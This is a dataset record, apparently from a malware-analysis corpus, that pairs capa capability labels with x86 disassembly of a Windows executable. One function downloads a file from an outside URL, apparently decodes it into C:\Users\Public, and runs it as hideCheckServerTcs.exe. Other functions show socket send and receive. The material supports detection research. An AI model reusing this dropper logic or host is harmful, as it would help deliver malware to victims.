joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407410
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x5afd40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x565f07
push eax
mov dword [ebp - 0x134], eax
call fcn.00405ec0
mov edi, eax
add esp, 8
test edi, edi
je 0x40745c
push esi
push edi
call fcn.00403f00
add esp, 8
test eax, eax
je 0x40746e
push edi
call fcn.00405f50
add esp, 4
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00506513
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push 0xffffffffffffffff
push edi
call fcn.00403eb0
add esp, 0xc
test eax, eax
jne 0x407453
push ebx
mov ebx, dword [ebp - 0x130]
xor esi, esi
test ebx, ebx
jle 0x4074b5
lea ecx, [ebp - 0x130]
push ecx
push esi
push edi
call fcn.00403eb0
lea edx, [ebp - 0x12c]
push edx
push esi
push edi
call fcn.00405f30
inc esi
add esp, 0x18
cmp esi, ebx
jl 0x407491
push edi
call fcn.00405f50
mov eax, dword [ebp - 0x134]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop ebx
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00506513
mov esp, ebp
pop ebp
ret
Function at 0x4075f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x5afd40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call fcn.0040d341
add esp, 4
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x190]
call fcn.00401340
mov edi, 0xf
mov eax, str.C:UsersPublicMusicherthren.dat
mov dword [ebp - 0x134], edi
mov dword [ebp - 0x138], ebx
mov byte [ebp - 0x148], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x407642
sub eax, edx
push eax
push str.C:UsersPublicMusicherthren.dat
lea ecx, [ebp - 0x148]
call fcn.00401530
mov eax, str.http:__download.linuxroot.site_download_4130.dat
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x407676
sub eax, edx
push eax
push str.http:__download.linuxroot.site_download_4130.dat
lea ecx, [ebp - 0x12c]
call fcn.00401530
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x12c]
push ecx
lea ecx, [ebp - 0x190]
call fcn.00401770
mov esi, 0x10
cmp dword [ebp - 0x118], esi
jb 0x4076c5
mov edx, dword [ebp - 0x12c]
push edx
call fcn.004079bb
add esp, 4
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
cmp dword [ebp - 0x134], esi
jb 0x4076ee
mov eax, dword [ebp - 0x148]
push eax
call fcn.004079bb
add esp, 4
lea ecx, [ebp - 0x190]
call fcn.004010d0
push str.C:UsersPublicMusicdggde.dat
push str.C:UsersPublicMusicherthren.dat
push str.4gUIxbPjlPWBlcLwF00
mov dword [ebp - 0xc], 0x6e65706f
mov byte [ebp - 8], bl
call fcn.00407360
push str.C:UsersPublicMusicdggde.dat
push str.C:UsersPublicPictures
call fcn.00407410
mov eax, str.hideCheckServerTcs.exe
add esp, 0x14
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x407730
mov edi, str.C:UsersPublicPictures
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x407741
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 5
push ebx
mov ecx, eax
and ecx, 3
push 0x565f07
rep movsb byte es:[edi], byte [esi]
push str.C:UsersPublicPictures
lea ecx, [ebp - 0xc]
push ecx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x103
lea edx, [ebp - 0x10f]
push ebx
push edx
mov byte [ebp - 0x110], bl
call fcn.005067d0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4077b0
mov edi, str.C:UsersPublic_
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4077c1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push str.C:UsersPublic_
push 0x567bec
mov ecx, eax
push 0x567bec
and ecx, 3
push 0x567bec
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [ebp - 0x190]
call fcn.004013e0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00506513
mov esp, ebp
pop ebp
ret
Function at 0x40ceed
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40cf35
call fcn.00408285
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40cf35
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40cf78
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40cf61
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40cf61
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x40cf75
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40e2a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00408285
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40e2d9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040dee2
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40e337
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40e35b
cmp dword [edi + 0x74], 0
jne 0x40e35b
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00408285
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040e2f8
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x41451b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x414562
call fcn.00408285
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x414562
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41457e
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00414020
mov esi, eax
test edi, edi
je 0x41457c
test ebx, ebx
je 0x41457c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x414d54
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x556f74
call fcn.00507eeb
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x414d79
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x414dcb
call fcn.0040862e
push eax
lea ecx, [ebp - 0x10]
call fcn.00406470
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00507ff5
push eax
call fcn.00405ff0
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004062b0
mov eax, esi
call fcn.00507fc3
ret 8

Function at 0x42a336
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00429ff5
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x42a380
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00408528
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00406420
jmp 0x42a38b
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041aac7
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x42a391
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.00414627
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x42a3ce
call fcn.00429ff5
mov dword [esi + 0xc], 1
jmp 0x42a3d3
call fcn.00429ff5
cmp dword [esi], 0
je 0x42a41c
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x42a3f4
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00408528
jmp 0x42a406
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00406650
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00406420
jmp 0x42a440
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x42a440
push dword [esi]
push dword [ebp + 8]
call fcn.0041aac7
pop esi
pop ebp
ret 0xc

Function at 0x491c85
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x491c9f
call fcn.00408285
mov esi, dword [eax + 0xc]
push dword [0x5bc5b4]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x491cbd
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x491cb5
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x491cea
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x491cb7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00491bb3
mov esi, eax
jmp 0x491cdc

Function at 0x4e2e11
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004128d3
call fcn.00409f49
cmp eax, esi
pop esi
jne 0x4e2e2d
mov ecx, 0x5ba490
jmp fcn.0041e300
ret
Function at 0x4e6714
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e672c
mov edi, dword [esi + 0xc]
jmp 0x4e676c
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e6745
call fcn.0041981d
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e675a
call fcn.0041981d
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e676c
call fcn.0041981d
call fcn.00408285
cmp dword [eax + 0x3c], 0
je 0x4e6781
push edi
mov ecx, ebx
call fcn.004e55da
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e662e
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e679f
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e67ab
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x506513
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5afd40]
jne 0x50651d
repz ret
jmp fcn.0050fc0c
Function at 0x51bf79
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5afd40]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0050f5fd
and dword [ebp - 0x14], 0
cmp dword [0x5beb3c], 0
mov dword [ebp - 0x18], eax
jne 0x51c02c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x51c0d4
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x51c0d4
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x58ecd0
push ebx
mov dword [0x5beb3c], eax
call edi
push eax
call esi
push 0x58ecbc
push ebx
mov dword [0x5beb40], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5beb44], eax
call edi
push eax
call esi
mov dword [0x5beb4c], eax
test eax, eax
je 0x51c02c
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5beb48], eax
mov eax, dword [0x5beb48]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x51c085
cmp dword [0x5beb4c], ecx
je 0x51c085
push eax
call esi
push dword [0x5beb4c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x51c085
test ebx, ebx
je 0x51c085
call edi
test eax, eax
je 0x51c07c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x51c07c
test byte [ebp - 8], 1
jne 0x51c085
or dword [ebp + 0x10], 0x200000
jmp 0x51c0b8
mov eax, dword [0x5beb40]
cmp eax, dword [ebp - 0x18]
je 0x51c0b8
push eax
call esi
test eax, eax
je 0x51c0b8
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x51c0b8
mov eax, dword [0x5beb44]
cmp eax, dword [ebp - 0x18]
je 0x51c0b8
push eax
call esi
test eax, eax
je 0x51c0b8
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5beb3c]
call esi
test eax, eax
je 0x51c0d4
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x51c0d6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00506513
leave
ret

Function at 0x51f900
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x51f93a
mov ax, word [esp]
cmp al, 2
jne 0x51f934
xor ecx, ecx
mov cl, ah
cmp cl, al
jne 0x51f934
xor eax, eax
add esp, 0x190
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
add esp, 0x190
ret
Function at 0x52bd10
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
push eax
push esi
mov edi, dword [esi + eax*4 + 0x190]
call fcn.0052bda0
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
add esp, 8
push 0
push eax
push ecx
push edi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, dword [esp + 0x24]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebx], 0
jne 0x52bd94
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebp, eax
cmp ebp, 0x2733
jne 0x52bd6e
pop edi
pop esi
mov dword [ebx], 0x51
pop ebp
xor eax, eax
pop ebx
ret
push ebp
push esi
call fcn.005311d0
mov edx, dword [esi]
push eax
push str.Send_failure:__s
push edx
call fcn.0052bb20
mov eax, dword [esi]
add esp, 0x14
mov dword [eax + 0x4724], ebp
mov dword [ebx], 0x37
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x52bda0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
mov edx, ecx
push ebx
shl edx, 4
push esi
push edi
mov edi, dword [edx + eax + 0x1bc]
lea esi, [edx + eax + 0x1b8]
mov ebx, dword [eax + ecx*4 + 0x190]
mov edx, dword [esi + 8]
sub edi, edx
mov edx, dword [eax + 0x308]
test byte [edx + 0x3c], 3
je 0x52be62
cmp dword [eax + ecx*4 + 0x1a8], 0x52beb0
jne 0x52be62
cmp dword [esi], 0
je 0x52bdf0
test edi, edi
je 0x52be62
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.0051fcd0
add esp, 0x10
cmp eax, 0xffffffff
je 0x52be62
test al, 1
je 0x52be62
cmp dword [esi], 0
jne 0x52be35
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x5b1224]
mov edi, dword [esi + 4]
add esp, 4
mov dword [esi], eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi]
test eax, eax
je 0x52be5b
mov ecx, dword [esi + 8]
push 0
add eax, ecx
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x52be62
mov ecx, dword [esi + 8]
pop edi
add ecx, eax
mov dword [esi + 8], ecx
pop esi
pop ebx
ret
mov dword [esi + 4], 0
pop edi
pop esi
pop ebx
ret

Function at 0x52c290
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x52c2c1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2733
neg eax
sbb eax, eax
and al, 0xe7
add eax, 0x51
ret
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor eax, eax
ret
Function at 0x52c510
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x1a0]
test eax, eax
je 0x52c53d
mov ecx, dword [esi + 0x12c]
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [esp + 0x14]
push ecx
push edx
push esi
call eax
add esp, 0x14
pop esi
ret
mov eax, dword [esp + 0xc]
test eax, eax
jl 0x52c57d
cmp eax, 2
jg 0x52c57d
mov ecx, dword [esi + 0x128]
lea edx, [eax + eax*2 + 0x58ee80]
push ecx
push 1
push 2
push edx
call fcn.00505f88
mov eax, dword [esi + 0x128]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push eax
push 1
push ecx
push edx
call fcn.00505f88
add esp, 0x20
xor eax, eax
pop esi
ret

Function at 0x52e870
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x10c]
push ebp
push esi
mov eax, dword [ebx + 0x8c]
mov ebp, dword [ebx]
cmp eax, 2
push edi
je 0x52e9fa
mov eax, dword [ebx + 0x270]
test eax, eax
jne 0x52e9f1
mov eax, dword [ebx + 0x2e0]
test eax, eax
jne 0x52e9f1
mov esi, dword [esp + 0x11c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x94]
push eax
mov edi, 0x80
push ecx
push esi
mov dword [esp + 0x1c], edi
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x52e900
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
push esi
push ebx
call fcn.005311d0
push eax
push esi
push str.getpeername___failed_with_errno__d:__s
push ebp
call fcn.0052bb20
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
mov dword [esp + 0x10], edi
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x14]
push edx
push eax
push esi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x52e950
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
push esi
push ebx
call fcn.005311d0
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebp
call fcn.0052bb20
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea ecx, [ebx + 0x130]
lea esi, [ebx + 0x102]
push ecx
lea edx, [esp + 0x98]
push esi
push edx
call fcn.0052ea10
add esp, 0xc
test eax, eax
jne 0x52e99c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebx
call fcn.005311d0
push eax
push esi
push str.ssrem_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.0052bb20
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea edi, [ebx + 0x58]
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
lea eax, [ebx + 0x164]
lea ecx, [ebx + 0x134]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
movsw word es:[edi], word [esi]
call fcn.0052ea10
add esp, 0xc
test eax, eax
jne 0x52e9f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
push ebx
call fcn.005311d0
push eax
push esi
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebp
call fcn.0052bb20
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
push ebx
call fcn.0052e7f0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x52ef20
Capabilities:
Set socket configuration

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0xc]
lea eax, [esp + 0xc]
push 4
mov esi, dword [edi]
push eax
push 1
push 6
push ecx
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x52ef69
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
call fcn.005311d0
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.0052bab0
add esp, 0x14
pop edi
pop esi
ret
push str.TCP_NODELAY_set_n
push esi
call fcn.0052bab0
add esp, 8
pop edi
pop esi
ret

Function at 0x52ef80
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
mov eax, dword [0x5becd0]
push esi
test eax, eax
mov dword [esp + 8], 0x4020
mov dword [esp + 4], 0
mov dword [esp + 0xc], 4
jne 0x52efd3
push 3
push 2
push eax
push 6
call fcn.0054e400
add esp, 0x10
test eax, eax
je 0x52efc7
mov dword [0x5becd0], 2
pop esi
add esp, 0xc
ret
mov dword [0x5becd0], 1
jmp 0x52efd8
cmp eax, 2
je 0x52f01f
mov esi, dword [esp + 0x14]
lea eax, [esp + 0xc]
lea ecx, [esp + 4]
push eax
push ecx
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x52f007
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, eax
jg 0x52f01f
lea eax, [esp + 8]
push 4
push eax
push 0x1001
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
pop esi
add esp, 0xc
ret
Function at 0x52f300
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [esp + 0x14]
xor eax, eax
push edi
mov ecx, dword [esi + 0x520]
mov edi, dword [esp + 0x1c]
test ecx, ecx
lea ecx, [esp + 0x18]
push 4
push ecx
push 8
setne al
push 0xffff
push edi
mov dword [esp + 0x2c], eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jge 0x52f34c
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.0052bab0
add esp, 0xc
pop edi
pop esi
add esp, 0xc
ret
mov edx, dword [esi + 0x524]
mov dword [esp + 8], 1
push edx
call fcn.005470b0
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0x528]
push eax
call fcn.005470b0
add esp, 8
lea eax, [eax + eax*4]
lea ecx, [esp + 0x1c]
lea edx, [esp + 8]
push 0
push 0
lea eax, [eax + eax*4]
push ecx
push 0
push 0
lea eax, [eax + eax*4]
push 0xc
push edx
push 0x98000004
shl eax, 3
push edi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x34], eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x52f3d1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.0052bab0
add esp, 0x10
pop edi
pop esi
add esp, 0xc
ret
Function at 0x52f990
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x1d8]
test ecx, ecx
je 0x52f9a1
xor eax, eax
ret
mov eax, dword [eax + 0x190]
cmp eax, 0xffffffff
jne 0x52f9af
xor eax, eax
ret
push 2
lea ecx, [esp + 8]
push 1
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
neg eax
sbb eax, eax
neg eax
ret

Function at 0x52fb90
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call fcn.0050a15b
add esp, 0x18
test eax, eax
je 0x52fbb3
cmp eax, 0xffffffff
jne 0x52fbb5
xor eax, eax
ret